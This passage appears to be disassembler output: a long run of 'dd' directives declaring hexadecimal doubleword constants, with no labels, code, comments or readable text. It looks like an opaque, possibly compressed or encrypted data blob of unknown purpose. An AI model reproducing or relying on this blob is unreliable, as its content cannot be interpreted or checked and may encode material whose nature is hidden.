1FC733C4h, 46C8589h, 9773DC08h, 97CDB24Ch dd 88BFA8C8h, 0A940E705h, 0EC012D4Ch, 0C732D95Fh, 1F1109CCh dd 8A1076C6h, 188CB8Ah, 6AE2DAC8h, 114087C2h, 24EFB847h dd 57C0294Ch, 91635CB4h, 0C1A82Ch, 2F20AF99h, 34B3E40Eh dd 0EA8CCB12h, 0C1E31C00h, 0E9C966h, 505AE0BFh, 0A7026421h dd 88BC292Ch, 0B0BC0820h, 0E9B84925h, 307FFFh, 0B7AE25A8h dd 0D9CCA7A9h, 0C8907873h, 85FAC28h, 14495A28h, 40C9E04Eh dd 482C30FCh, 18102804h, 0E5007F09h, 4A715C3Dh, 0AAC359D5h dd 0DB0041B8h, 0DA3AD810h, 0E127F103h, 0AA5876BAh, 0CC607D39h dd 460F41A9h, 0E5034A22h, 0C8E71F90h, 0EC11A712h, 3442534h dd 8E8FE268h, 91B50528h, 88255AA3h, 434CAA84h, 3EE21254h dd 2056DC42h, 2A246C61h, 4E185B5Ah, 0CCC4245h, 0D07205E6h dd 8535541Dh, 52F5A746h, 7D2C2480h, 768B08C8h, 6CBEF00h dd 75B9779Bh, 0A400951Ah, 0A653E94Bh, 27675C94h, 14E050C5h dd 0B5C6252Ah, 0CDFDD010h, 5A1F2499h, 0A5A26B80h, 0F0DAD188h dd 16EC1D30h, 0C1898BFFh, 80433CA4h, 6D182AA8h, 144E39D2h dd 0E75838E0h, 280F9731h, 0D16C2DA0h, 0A70469B5h, 0D3D449D8h dd 4453D491h, 202AFC61h, 2B6C6DB8h, 256060B8h, 0B1B9BB7Eh dd 0B801601Dh, 0BCA494F7h, 0E42C4078h, 20008654h, 419ADFC7h dd 0F2B51C2Fh, 58492549h, 30B86166h, 0B917D424h, 50325FA9h dd 500511Ah, 97E4457h, 5051DE44h, 8A560F42h, 830278C0h dd 0DEE917h, 16A14C08h, 341F71DDh, 9C826080h, 25A7DF14h dd 38247506h, 31B4432Ch, 8AD0260Ah, 0EDB10FB5h, 0D1184153h dd 8215E949h, 19C59628h, 9CA8D1ABh, 9678D6E1h, 0B2470F8h dd 67100807h, 0B1610C0Fh, 10671513h, 0BA78884Ch, 0B99F050h dd 7A2A2349h, 0F82F2CEBh, 0B18818D5h, 70AA61A2h, 786894D1h dd 0B0499230h, 90742Ch, 853D9FC4h, 641740D4h, 4822996h dd 7C7C48F2h, 592A0645h, 802378B4h, 1560B195h, 0AC2C91D9h dd 3821FE86h, 4BF116A0h, 74735901h, 0D938A5BCh, 9C31C1F9h dd 0B481846Ch, 34D11AF6h, 0D95E499Ch, 8992540Ch, 1082EBACh dd 0E67791C3h, 2CC10442h, 9EA0011Dh, 180DEF03h, 992B0880h dd 0BE04C440h, 421896A9h, 108A1A80h, 0F7026D0h, 88C96BA5h dd 89ED2C00h, 0E11033B0h, 0EC40983Dh, 0F8086257h, 0C48458D9h dd 0C118A8DEh, 0AA902AC2h, 87C44Ch, 0BDFBABFCh, 9F1E2238h dd 1A69F800h, 0B6E1DE68h, 0EED80417h, 0D018A728h, 0BEF40E48h dd 8D4AAF01h, 80FE785Eh, 265AE0h, 0A507B7F1h, 0BDA6E61h dd 0CAF4C909h, 0BCC4D9h, 0A997D586h, 8D652B3h, 248DE0Fh dd 800936B1h, 4CB8E027h, 25989E65h, 2E6C30C9h, 4A746401h dd 0C0E26472h, 80C4A430h, 63A4C21h, 24460259h, 60918245h dd 0A8F8D486h, 4606BDCh, 0A7250F3Dh, 61AC9085h, 919762BCh dd 0F448ADB0h, 0DBB70689h, 211528E2h, 0DADDA804h, 0ACBCC849h dd 10E8A0D2h, 61CEC916h, 48EC6C88h, 0FD006443h, 0CAC36328h dd 21C20823h, 4056341Eh, 0BE27308h, 8FE11FB2h, 1317B478h dd 0D2003A2Dh, 31E84DA3h, 5AE8AEh, 0FD3DE323h, 0B938B478h dd 64BB49Eh, 0B611DE52h, 0D0590A48h, 31E79310h, 358F0C28h dd 107C2894h, 0BC00165Fh, 4E06D18Eh, 6E744162h, 0D2C4B805h dd 688060A5h, 13B532F0h, 1E5FFD82h, 7890A524h, 714F2AC1h dd 823C7C1Ah, 60B2FA28h, 8001E744h, 0F8B6AB71h, 808DDB8Bh dd 0A22AC688h, 0E0109DC2h, 825E2D4h, 2C74640Fh, 3E5EEE77h dd 16B85E77h, 7198C740h, 74CCA5B1h, 9434E28Ch, 1007389Fh dd 25C957C9h, 0C8017E3Ch, 51C3A74Eh, 0A00C173Bh, 60D47398h dd 4BF16CCh, 4C07AC30h, 7A0C401Fh, 0EB1C40D2h, 139D2B49h dd 0B89A3A8h, 0FB87E0C8h, 9B81DC30h, 8048C8BAh, 0E3CF0FC4h dd 58040022h, 82EE49h, 0AFB35EE2h, 0A7324159h, 2E07452Fh dd 0B87FD34h, 2F00D36Fh, 6DF2C9h, 50AC4489h, 74D47891h dd 0C0245724h, 0B40B581Dh, 61CC0ECh, 30962CBFh, 7151E04h dd 24F5941h, 0C0700AA7h, 96640E3Bh, 0A841DA01h, 2738C972h dd 4C122463h, 0C6544A35h, 882845D4h, 0CEFBB6BCh, 2C94347Ah dd 0B4E17826h, 0E10848A9h, 1E92A20h, 30A4A21h, 8240634Ch dd 0E255AE60h, 13CC6474h, 0B4C58959h, 0CBD613Ch, 9C10A92Ch dd 0B5FF8860h, 1BB1B403h, 2A682D42h, 41215469h, 2D2D89D0h dd 9B11C4C4h, 316A521Dh, 0C2C788h, 4784759h, 0B47EF2CAh dd 9F98A0EEh, 22ECE407h, 0A287C35Bh, 8009C85h, 6E9B2E1h dd 90785CBBh, 0D0E8B716h, 85044FECh, 0E2DC2E05h, 94B23BB5h dd 0DB138C4Dh, 1530A05Ch, 0E4C48641h, 0E9A10CBFh, 16830E6h dd 0E0C91F16h, 2F2D801Dh, 0E23680FCh, 122B42BBh, 5EDA21B4h dd 3C44A738h, 0B72EB118h, 13EB4F18h, 14B35349h, 3D10C8A4h dd 28C104E3h, 0D8F3A45Ch, 4CEDB40Ch, 774ADE38h, 5E762C82h dd 4FF90870h, 0ED2441Dh, 0FCB50837h, 75E0E8CDh, 2811D8B1h dd 795CE9A7h, 0E0D7CB08h, 942D33Ch, 68BAB445h, 80A960E1h dd 715BD561h, 48DCE2B2h, 0D898E83Bh, 0B664744Ch, 40E2DEC8h dd 2CE1D92Dh, 179C670Fh, 0B4371908h, 0CF171C4h, 98889DF9h dd 0E325100Fh, 4BD8C29Ch, 5676C204h, 1CECCAA8h, 71CD834Eh dd 18BEF5A7h, 0E3133D00h, 0F68252Eh, 0B92300DEh, 446B1F75h dd 9009673Bh, 0F96F82CAh, 2C1C00B4h, 29D4F931h, 0D0014A4Fh dd 0F78EE2D1h, 0B1B96882h, 98E904D2h, 6EB04090h, 17244C35h dd 8F800089h, 16A07C07h, 0D2062EE1h, 0A91F8A60h, 28822F8Ch dd 0C0587C4Ch, 2C89313Ch, 2A631461h, 82100012h, 0A7A91C9Ah dd 0F24949F6h, 0E8F52488h, 0B7B04Ch, 170A3EF4h, 498BB8FAh dd 2813BD34h, 9BD974A4h dd 2BE41100h, 0F02CF862h, 91240449h, 49C300ECh, 502626F4h dd 203BFCDCh, 4F223A03h, 118E189h, 1E3E9C20h, 0C112FC4Dh dd 48A0C554h, 48EF61BEh, 0C5A94240h, 12C46212h, 3CB0FE4Ch dd 0D1FC04DFh, 8319EDBFh, 500B77D7h, 464A09BEh, 33B41490h dd 0CC3FA0EEh, 27B9193Ah, 4479FB80h, 75A24C71h, 3CF9F9C2h dd 5881776Ah, 3028E307h, 0E1F496B0h, 0C4E92625h, 62BDF078h dd 1E97109Dh, 2831AC5Ah, 0E29E088Bh, 5268CAD6h, 5E6898C0h dd 0D7FCF074h, 4CCAE21Bh, 0A7BFF020h, 100D593Fh, 2DFD5500h dd 0AA91B0A1h, 0CB1FE219h, 48806669h, 61D1BC56h, 0B4A81738h dd 0F09B69BDh, 18686508h, 1550117Ch, 50ABB480h, 5A6784E2h dd 9B88AEEh, 59C47631h, 82C81664h, 6F01AF78h, 6AC80D54h dd 0DEB78019h, 275AD913h, 0BA93888h, 6C11CAD5h, 394C8498h dd 0C70ECCBEh, 7D06009Fh, 5EBDE6Dh, 75E252BEh, 6858B1A7h dd 14F39330h, 0B07D1B14h, 0C9A149Fh, 6B4E702h, 0F0406D2Bh dd 18CB63D2h, 91C0F76h, 0E2F0A83Ch, 3E00D326h, 0CB0557E4h dd 0A7DE0B23h, 0CC68B77Fh, 8C007E40h, 0EDC5E1D7h, 241FD606h dd 160EBA99h, 1688B744h, 64605A91h, 90DB2F49h, 1FC10048h dd 6AE8B88Fh, 0CE0E7BDCh, 16498767h, 0F7A42CC7h, 154B83C0h dd 0B5210059h, 0A9D8DED4h, 80175BBFh, 18163E63h, 0C5AC2A07h dd 68D58FC0h, 128498ADh, 2403C42Ah, 46ACEDC0h, 41AC13C0h dd 702B9022h, 6DC420E8h, 0DCB50615h, 0B1B781ACh, 30825F0Ah dd 0C62AE2D2h, 982E3449h, 0A9406524h, 809CBC69h, 22D6F1DFh dd 5814064Ah, 26A43527h, 7826EC50h, 827D493h, 0E01C0BE9h dd 0BC1692DCh, 28598A50h, 0C8449058h, 0A3DE0B75h, 0EB25B050h dd 0A90800B1h, 16735C6h, 6477D480h, 88DA66D5h, 41342E18h dd 6804B1B2h, 0DF280038h, 1AA7510Ch, 7360CB72h, 0E083BC6Ch dd 38E7E980h, 404CA916h, 59C0041Dh, 9B82E850h, 51292727h dd 37A72481h, 0E7488064h, 4EBFAC31h, 6AC928DEh, 67677E4h dd 0A5B194A8h, 712560E0h, 5620A2D4h, 0DF88C84Ch, 37E70D9h dd 0A10632C7h, 44A05377h, 0B118039Eh, 5616F843h, 10163CF3h dd 0A9BEE33Dh, 0C0254C1Fh, 0F732AF6Bh, 0B93EC767h, 8D007889h dd 69DBCB87h, 0B3F3C6Eh, 7AD37CCFh, 8590BC01h, 4E67C8BFh dd 0E6A13E09h, 0FC40103h, 188F4F2Eh, 38871650h, 0C710CC80h dd 43C93100h, 7B1069C3h, 0A2D918E3h, 0E13EB032h, 0EF81DE00h dd 66B12092h, 0BE98038Ah, 2930E8E0h, 65F36380h, 0F20FD403h dd 0E136FC2Ch, 0B100AA8Ch, 48C66369h, 58E0F085h, 3607B07Ch dd 81C3EADBh, 986CDF6Eh, 6105020h, 38E30063h, 0B1E9F78Ch dd 84004381h, 307D135Fh, 3D9A64B9h, 0E05053Ah, 0C3867F62h dd 15D065DFh, 0AC0080CBh, 0E4EE0CE8h, 68B1C4B9h, 3E90306Ah dd 9BF03403h, 72E0D11Bh, 943EB844h, 680200BEh, 0D9D28CC7h dd 0B0C6676Eh, 98C366D3h, 0C2C8671Fh, 10BE680Ch, 9C0352E8h dd 3DCF5A0Ch, 5B0D0E30h, 18878FE3h, 149D86E0h, 0F091039Ah dd 90A1260Eh, 0B17CCE67h, 8081F648h, 47A6AD29h, 7801ABDBh dd 0EE5D3B9Fh, 0A3081680h, 3CCB5AC3h, 0E36B61C0h, 0C915181h dd 9B84D920h, 0E83BDED8h, 2783000Dh, 0CA77B1AAh, 19FCF6EAh dd 0A84DD290h, 9A30203Ah, 0CE37388h, 466341B3h, 0B87A0F88h dd 1E630C92h, 1D9E7FA8h, 40F77A10h, 4063B607h, 46009775h dd 6B1A48C8h, 0A82B274h, 0BBF46E7Fh, 8EDF008Ch, 0F8758415h dd 90DDF106h, 148A82Ch, 0E8E36DA1h, 0CCFCD301h, 820CD808h dd 207E0D90h, 63AD2830h, 18B348D4h, 65C5024h, 9924060Fh dd 580E49h, 0E1AB8CFAh, 0A3C444D9h, 0F890A88Ch, 0D429C19Bh dd 25F77FEDh, 40A40238h, 0E83F4044h, 0F9C00305h, 0C25F31F2h dd 6B08812Dh, 0F848A506h, 0D0E05430h, 39D13C68h, 10D0781Ah dd 8E37B883h, 0DE7283Eh, 61F0EDCFh, 16CBD0h, 0BA9637E3h dd 0BB3BEF74h, 0F843992Bh, 80030F12h, 76030D34h, 313F0008h dd 33EFD5E8h, 0C490F1BCh, 6560D974h, 0EB5A3530h, 87450EECh dd 0D198D0CFh, 47003F43h, 77379BD8h, 0BF737Eh, 689BCEBh dd 46B1FA39h, 0DDF8F701h, 0D56C374Fh, 19CA0031h, 0B821E8h dd 7931DD4Ch, 98B26B1Ch, 6263F180h, 342F848h, 0ED6F0D4Eh dd 0E9008C92h, 283F16D3h, 6DD5620h, 0AFD91158h, 30A9487Bh dd 8C4004B1h, 83625A8h, 48C87CA5h, 7098C847h, 0F506C346h dd 5435D942h, 33C0030h, 509CCFA5h, 86306F39h, 5E188B1h dd 612F603Ah, 30870E62h, 0C0DF19F4h, 0F37D9482h, 9F1541F8h dd 38205BE5h, 34F900D5h, 0F76FB197h, 0FC4869C6h, 0C9390104h dd 7719EDEAh, 0D9080504h, 0DE884347h, 0A7E2303Ah, 4442646Ah dd 629E1090h, 1D2CD360h, 0EC9110CBh, 0C1066AAAh, 93296138h dd 0D9EBE8C2h, 1808FE33h, 667AF0E0h, 0E6603EDDh, 5C64510h dd 0F14840D1h, 9006C821h, 0DA264823h, 78028F7Ch, 9013EC84h dd 0F2D68AD0h, 6C13F1E2h, 0E51D4864h, 6EEBB241h, 4083CAB8h dd 0AC57303Fh, 69125800h, 8DF64740h, 0FD2B06E7h, 0B19F216Eh dd 0A4020BE6h, 0B5D9C938h, 0EDD48595h, 0FC496F84h, 0CDD882E3h dd 2CA009BBh, 82308986h, 8F600460h, 78A544ADh, 32AA1A1Dh dd 144008E1h, 0FCAA8A06h, 86F78040h, 65A2E08Bh, 0F3870018h dd 90DCC950h, 0E0C09780h, 66158D94h, 864F3BA0h, 0B1BB9C09h dd 1A6EA838h, 282349h, 7B9E82AFh, 670B1h, 2913A6A9h, 288B3040h dd 121530C0h, 6FF77Eh, 0F1F31E8Ah, 0C11B9084h, 797F98C0h dd 0E42FEFh, 0B16C55C7h, 0C462D661h, 6AB4D58h, 0AA6D9BEh dd 58E32478h, 56343AA0h, 8080308h, 0EF1C58Bh, 0D7148063h dd 0A1463A01h, 0F46CE465h, 3531CFEAh, 2C0FB749h, 297A3CFh dd 934BD997h, 9022948Eh, 0D84844D5h, 2DF0DEFFh, 42106560h dd 53BA12Eh, 5D6EDAE8h, 58C8008Ah, 0A844013Fh, 0FF9224Ch dd 0C120C792h, 10CAE85Ch, 7BD95060h, 489C88B1h, 87B5DD39h dd 0FDC55B6h, 0C5710726h, 88C5DE60h, 5C90ED80h, 0AE5DF898h dd 3C6B1E44h, 23A51509h, 0E4634490h, 3602E600h, 0D260806Eh dd 0B1189210h, 0FFA20B4Eh, 1C82B009h, 684079DBh, 0FB6929D9h dd 36882238h, 7D882DDh, 0C0BB05B9h, 0FCD99478h, 7C281560h dd 0B26FE353h, 3B48B090h, 9C2CBE5Ch, 9581038h, 806FF19Dh dd 0BAEF460h, 0F04E4C4Ch, 474F5300h, 6EE150D4h, 7C921B7Eh dd 0DB16EB01h, 10796708h, 0CC08DC45h, 0FB3B1F62h, 29A53189h dd 88FE4480h, 600EF39h, 0A115BCA4h, 0F0C5C842h, 9908A08Ch dd 58D55868h, 0C6965300h, 0FB76B1D7h, 9E83C000h, 3B690FF0h dd 17AC024Dh, 2C8C90FAh, 6E02D4C8h, 68267224h, 0B8985818h dd 0BBE30B4Bh, 770143A1h, 25FC5EEDh, 0D12082C8h, 6690913Ch dd 0F98C061Ch, 992DF447h, 408A451h, 0EDACC183h, 0A0300016h dd 5838C091h, 0D977D2D8h, 4833BA34h, 49909CCCh, 4204043Ah dd 0C2EEA136h, 94808D04h, 25DA6EAEh, 21F0B0C4h, 1C44CF84h dd 40167A22h, 5E166408h, 301821D8h, 8378941Bh, 1FD71C7Dh dd 2F8D0D9h, 0B9A035D6h, 0DE58E850h, 2CD1EC38h, 80EC9B6Eh dd 5C5A9235h, 30F14826h, 0A0AB0418h, 5137D9C0h, 4601E41Fh dd 8307C616h, 475FD313h, 0D0607C34h, 75B85Bh, 0FD48B474h dd 6AFC5220h, 0B1AC061Dh, 307851C2h, 0B9F8C9C6h, 0B000E071h dd 1702B98h, 0C1894664h, 945053D9h, 8884B5B0h, 4E8895Eh dd 6AB31048h dd 0AC42632Eh, 7258388h, 838EF347h, 100D59CEh, 71DBCCAFh dd 7E1860h, 0F36AC09Bh, 86D83B68h, 0A8139572h, 6C0B3729h dd 0B3A003Dh, 0BFC8A97h, 0B6329E61h, 78397C03h, 0D5738690h dd 1319DF00h, 18EC5E2Ch, 92CD4C95h, 803F481Dh, 8050D08Ch dd 0AD3E0646h, 9E10051h, 9088DC08h, 98196056h, 8B6E7C71h dd 68BCD750h, 0ED6B2005h, 0F044FAADh, 9CC0DFAFh, 5C5BBA95h dd 40740491h, 0B601AA08h, 64F487C0h, 0A4603F94h, 73CA7CF0h dd 85143A34h, 0E242300Ch, 4E81B7F8h, 14284C71h, 6210BC59h dd 6CB10004h, 0E36BBFEEh, 5435E790h, 1A376070h, 28AB5430h dd 0A118C1h, 72DD0CA0h, 50E2613Eh, 41085FD9h, 72802D4h dd 0B8B4D3C4h, 4D10B25Ah, 0D909DC32h, 0C48988D1h, 0B9C3E803h dd 0B57A4388h, 35767103h, 34DD3D9h, 9AA0AE30h, 50A80E63h dd 6098E0EAh, 0F9C8E720h, 0A210A426h, 0DB470016h, 2629E77Fh dd 25B978ADh, 0FC0491F8h, 3AB81506h, 0E7DF80C7h, 76E712Eh dd 0DA18C0E0h, 334E140Eh, 8A4430EFh, 9DB8D302h, 0E83E3020h dd 0A433158h, 81DE483Fh, 9353136Ch, 0C4B9122Ch, 730C2C13h dd 0ED06A8B3h, 2CB1B5E6h, 88D8D0BCh, 0B89787F4h, 2CD9C003h dd 8E104812h, 0BA2EAF09h, 54036029h, 43D58530h, 0A8126BDCh dd 6490F0D0h, 0F05016F1h, 869492B7h, 0D9A92040h, 16FBF01Eh dd 9AF7940Bh, 0D0105840h, 2058F839h, 46069842h, 38E281F7h dd 990D90Ch, 81F1197Eh, 2BE601CBh, 41145060h, 87884443h dd 0D51D0840h, 0BE34F87Fh, 0C0071056h, 0A1BF312Ch, 7147B2EAh dd 0A7F0E5E5h, 3E337C24h, 6B1FAFD1h, 66E08F68h, 0E31B31E0h dd 19203038h, 91B17EA9h, 50350404h, 1138B3D4h, 5078DC48h dd 0E26EB004h, 204A60ECh, 0BCD9094Fh, 0E406A1CAh, 0AC96502h dd 8B5C61D0h, 9CA02444h, 80392090h, 8DDD071Eh, 0A1BC0E0Bh dd 55DFD9A8h, 6B104889h, 0F3F804C8h, 0E28A6E19h, 16EC9A48h dd 4A3D1881h, 60DF5036h, 0C96C9380h, 0B064B528h, 98860E00h dd 2D5AD289h, 0F0DCE84Fh, 1A6F010Fh, 4A6ED9F0h, 0C030A44Eh dd 0B2BE0039h, 5FF88BA3h, 86CE02BCh, 20D99C8Eh, 3DDD2848h dd 89619F3Ah, 6AB302Ah, 2EA93A40h, 884FAE8h, 8400933Bh dd 0B87A72B1h, 58DB02B0h, 0FF80D92Dh, 409570E9h, 0AB1949ACh dd 535110E4h, 68F80278h, 48C9F0A9h, 89214DAh, 6804E858h dd 508F306Eh, 1303EC0h, 2C74C049h, 6E865074h, 18E1513Ch dd 20EB6030h, 41023F64h, 92ACD9C9h, 70046015h, 0B9B30F82h dd 7D841D68h, 0B830C3A0h, 306E6839h, 901980B6h, 0F8EF63D1h dd 0E7F8FD47h, 0D0DD004h, 5A12A08Bh, 27BEF7F0h, 30143CEFh dd 0A18FB509h, 300C3069h, 0F464F7B3h, 480100DBh, 0A11816C8h dd 4D4A6E6Ah, 8A64A000h, 43BF3Fh, 24EBBEECh, 8FA2D9F1h dd 7087A8D3h, 4857883h, 988E0510h, 1E988058h, 0B6CF70B2h dd 71A687F3h, 6E7DDC0h, 0D628C3A0h, 39490AD9h, 97900044h dd 40218076h, 84770B3Dh, 5681E8A7h, 60EA45E4h, 0FF048C7Ch dd 19928EEEh, 9F5324C0h, 20A75CB0h, 0FC6B510h, 6BB48B2h dd 5C109C86h, 9E0541CFh, 969EBD9h, 0BC842988h, 24609A3h dd 519A6368h, 10359258h, 0D684A060h, 3101C690h, 0EC96A090h dd 66880E09h, 0A80803D0h, 2ED5D9C3h, 90DB1006h, 38B88Bh dd 27F6CD80h, 0FE25D9E1h, 68DC20C5h, 8746FCC0h, 5D3D00C3h dd 82580B14h, 2B01CC1Fh, 0D904F0CBh, 30A613A0h, 0D707C004h dd 2216A782h, 7804D63Ah, 0B202F5DFh, 28C1C878h, 9146086h dd 0AD716E10h, 91C3EE16h, 0E1D16724h, 583067FBh, 0A4214A20h dd 1880BAF5h, 0BD6208E8h, 0D916D38Ch, 348682F9h, 886E2651h dd 0D80BCD0h, 485D612Dh, 730415DBh, 0A36E5152h, 846648B1h dd 3CB72Ch, 7F6DF19Bh, 0B626FAF8h, 8303CBFh, 0B9D2C7AFh dd 26328580h, 6E8891A1h, 0C051A8DFh, 5851E864h, 0F6A184D0h dd 5465EF90h, 0E6B4E2DAh, 24A4909Ch, 701C0Ah, 0C75A7D35h dd 3100C3D6h, 0DAC83D55h, 9E8E406Eh, 52324D6Ch, 0A0D80188h dd 0EC70902Ah, 6302E494h, 0C89B8130h, 7E3C6DB4h, 0DC6E189Eh dd 0AF3848A8h, 62A27F07h, 902169D5h, 0A080C8AAh, 7464B1A0h dd 0A87177E9h, 8A522A62h, 0CF4841C3h, 1FA487D0h, 16F3D48h dd 0EFD9C485h, 0A9C040B9h, 0BF1CEB20h, 106DBE6Eh, 3EA80E38h dd 6F78FC50h, 7AC01844h, 0C299DC93h, 2C4CB100h, 90D248E1h dd 0C86B64E6h, 1743C596h, 485422B8h, 982C6009h, 1DE7E66h dd 0AEBDE67Eh, 0E870F1B6h, 5001B186h, 0A597E407h, 51845590h dd 0C2598D30h, 284635D4h, 99F13E20h, 5E9788C8h, 0CEC44800h dd 2471FF5Ch, 2DB8D46h, 0BBFCF36Fh, 0EA141C48h, 313CFAFAh dd 82C2852h, 0DED86C03h, 0E89047A9h, 0FB8C95h, 0CF06837Eh dd 6E352DA8h, 78A1FF30h, 74586C01h, 0D9970CD3h, 0D29857B5h dd 62C9248h, 4EE190DAh, 0C30E790h, 356C2C0Fh, 3240BCA4h dd 0D811A861h, 0BC2CF96Eh, 0D6019916h, 0D7062854h, 7FA9D9C6h dd 2DB20860h, 0E20894C8h, 1AF612B7h, 30828C68h, 9471AC75h dd 0AC1E0413h, 0C89F2EFCh, 882074A8h, 0ED650BA9h, 0C8A2D607h dd 9B04D54Bh, 0F8CC4C2h, 0E6DB1205h, 619C54B4h, 7F508B40h dd 0D40C500Eh, 16040D9h, 0F625B490h, 0B6E8A42Eh, 0BE5DD903h dd 1AC5858h, 44981FAh, 14221830h, 42656D0Ah, 0D5D8890h dd 1CD99D02h, 0A68C6826h, 6E630CC5h, 0D5A02952h, 4CD9A008h dd 0C2193E6Fh, 2150181Eh, 0DCE0E074h, 0F839A8C2h, 0D94CE8FDh dd 30E560D0h, 0B126F0D8h, 3025484Fh, 7B045C05h, 1E089C14h dd 550010AEh, 0F93D6294h, 0F19F0BE5h, 0B58C8DDCh, 0B95C57F8h dd 5E8A1C4h, 64068022h, 18F9186Eh, 3338FCEDh, 730150Dh dd 1C60F9DEh, 99A8E6AFh, 93D8A254h, 0E6504B4h, 0DC8E384h dd 589B736Eh, 0F0B2822h, 6CC458A8h, 3FF09018h, 7EDA7A10h dd 0C7FD0084h, 0BC32E854h, 0A448EB87h, 0CA2207E4h, 2AC0AA23h dd 48056309h, 0DC019CF7h, 68B25593h, 8E0A03Dh, 0F4483A00h dd 4FEA3179h, 7425F57Ch, 0DF04DC3Ch, 8D30D00Fh, 3C2EE478h dd 0C47F2C1Ch, 0B3B7D5Dh, 813F4731h, 0E70460A4h, 0D0A586FCh dd 534A0858h, 0B4BC1490h, 28E92610h, 0C899D00Eh, 0B49B8C22h dd 0A0AC8604h, 5E9490E0h, 6D7C05CFh, 0E88D10Ch, 0DB88D273h dd 0D561C0D4h, 2A0040DFh, 3BC40FD9h, 452C664h, 0C83F46B9h dd 0B62085FCh, 8C900C40h, 97F4070h, 0E85E9F08h, 0B01084C3h dd 56023414h, 9CBBAF85h, 0C4F09Ah, 3E3DF080h, 8709F878h dd 2B2DDC90h, 8AB4007Ch, 0F0090FA7h, 507AB8C8h, 0F59D08A2h dd 6E0D3029h, 0F890CC63h, 0BCAC2331h, 4C187701h, 0D3FE3010h dd 3C6E5424h, 9E2CF85Ah, 1A3F00C8h, 4FB98840h, 10D439E9h dd 0F0005ACFh, 0C8A806E1h, 580FD21Eh, 0C0961D9Dh, 0AFAE78A2h dd 0BC210BC4h, 0A8428102h, 5842F04Bh, 20344CACh, 0EEDA17A0h dd 1475CBh, 0A13FDD68h, 0C0206E69h, 84AC96CDh, 0B239580Fh dd 402D7840h, 90249033h, 5CC54CEAh, 0D7D53C78h, 10D8EB18h dd 6528B997h, 0C4503464h, 7B006248h, 0DC35E212h, 1D15C2E9h dd 0FAEDD8h, 31A7376Dh, 0CA7C5784h, 0E26AB700h, 4F42A0BAh dd 0C7EDE82Dh, 40A20730h, 0C6258C59h, 720D3109h, 629300E2h dd 7C90B82Fh, 0E8B00066h, 0F9A6C242h, 6A72DFB9h, 3505E70Ch dd 0D82084h, 0CE399B10h, 61F7DED4h, 754FF63Ah, 3757DC00h dd 9FA8B56Fh, 313E30D8h dd 0C28A0768h, 420CB871h, 49F7F1AEh, 205360DFh, 352AE528h dd 8F4D6D1Bh, 8B94D0C8h, 0F43A12B0h, 3470000Eh, 871A0843h dd 730145F6h, 5762FB0Dh, 0B1D8680Ch, 93D8189Ch, 0A9AD9889h dd 45769F00h, 63F0C481h, 8F900060h, 3DA50580h, 981E91B5h dd 9D8C7C30h, 1995D8BDh, 904DF6D8h, 838C470Fh, 1076294Bh dd 18BE0E1Eh, 0A4EF94h, 0CE1EA96Dh, 1DA0027Bh, 764323Eh dd 80279359h, 2F4280B8h, 995C8C0Eh, 1D308039h, 0F4A5175Dh dd 1BA0EC4Dh, 78AE468Fh, 0E7D005C5h, 19B02002h, 0C2003C74h dd 38B28057h, 513A8F1h, 316DF24Eh, 9012D9h, 37C4C633h dd 0B76E6ABFh, 429001B0h, 5B2125F5h, 8882CEC9h, 0BCDDD85Ah dd 8F008C8Ah, 9A83A8B6h, 78A0B0B8h, 0EC00A355h, 387330BEh dd 11BC647h, 0B599A910h, 8805399Eh, 4B671B0h, 800FFAEFh dd 6240B030h, 2D91C660h, 1269F249h, 104718F0h, 61000818h dd 75B9CF3Ch, 12018FD2h, 9E997BD5h, 944198BAh, 0F885178Eh dd 4620F57h, 0CFD93BCh, 6F9C110Dh, 0EDC9C0BEh, 0EFD17000h dd 6850B023h, 4EF28F40h, 1804A0D4h, 451867AAh, 60CE0085h dd 277D623Dh, 9E7B8FD9h, 0EE7428C0h, 282FB7ACh, 31D453C6h dd 0F59088BAh, 9010B567h, 824F9032h, 9820EF84h, 8169523Ch dd 91BC404Fh, 0DE3615D2h, 8ED008E1h, 0BC0E1A94h, 48F310Ah dd 5E676A05h, 72211F20h, 19003D11h, 9004D235h, 721520A8h dd 2F0047EAh, 0C18F456Ch, 0F27AF3CEh, 668020DDh, 9C5A0D28h dd 602F49h, 2B698C05h, 3FC764E1h, 854D2CBh, 0E7DA09C3h dd 402430C4h, 95D8986Bh, 99D36E00h, 527B15F2h, 6D6909E2h dd 38A4E873h, 9E7A0FDAh, 0C88E45C7h, 1EC74C07h, 84084706h dd 0E174A1A0h, 0B5033080h, 1D6DE331h, 0EF48BA63h, 830DE0EAh dd 5F80282Fh, 62F038C0h, 51F74780h, 0D9C0B7Eh, 0B026DC90h dd 0E60050C0h, 30DECAACh, 5910C2F8h, 80AC01A2h, 53018A90h dd 6D296A4Eh, 6892CE2Ch, 7100432h, 0EC28809Dh, 81D4CF21h dd 0A83C02ECh, 80921722h, 0BE8569F7h, 20F8AE9Dh, 0F700A399h dd 2763DAC2h, 1130825h, 87A9E9EFh, 50F1BDD2h, 4F35DF98h dd 0AD206DF2h, 3671DD3h, 50399AD8h, 0D2A59F60h, 9202BF7Ch dd 798F8C15h, 6A644875h, 250E18D3h, 5B2F1024h, 0B08C5850h dd 0DBC8410Bh, 3B7D0712h, 81F6985h, 92C48FFh, 83BE923Ah dd 0C1354500h, 8934962h, 14AC1436h, 2FDE6D82h, 184F6460h dd 3877B800h, 8F82D207h, 785B6028h, 9DA741C3h, 1A48048h dd 89BEADF2h, 98240E67h, 28F55047h, 0D7A10005h, 0C761C218h dd 7F306DF6h, 9130F893h, 111C20D8h, 27EFD51Eh, 1057B50Ch dd 0B29906D2h, 0A9388015h, 0D8303A12h, 0FD703600h, 0C6550B6Dh dd 8C24B48h, 29416635h, 4D32CC46h, 0A4E54C08h, 0A140A68h dd 0BE508897h, 902E4301h, 0E3FFEF18h, 0B00814F5h, 3B4E8210h dd 382F8AA4h, 0D839B869h, 2EDB1000h, 6C07348Bh, 813EC7F3h dd 0E0958078h, 0EAE8A8E1h, 6B9424F1h, 570EB89Ah, 878350ECh dd 31C96A0Dh, 1430EF28h, 46170132h, 0C38FDCD7h, 4EB881ABh dd 0E6686DCDh, 413E2886h, 8C9F125h, 8EC8236h, 7478C6B3h dd 0D89B4D69h, 2ECCAC7Bh, 69084A03h, 0A88F2C01h, 7CC430E4h dd 12A90101h, 375AD88Ch, 0E0207865h, 8FE009D4h, 42522A4h dd 9E58060h, 0ECB84234h, 0E812603h, 0C0C1F4A9h, 4DBCD81Eh dd 0E6705044h, 839CA0D0h, 0E80D835Dh, 0D0F1566Dh, 0B0AD97C0h dd 401348F8h, 200E126h, 618C8FD8h, 0DBCAB048h, 0FA1F673Dh dd 0AC585568h, 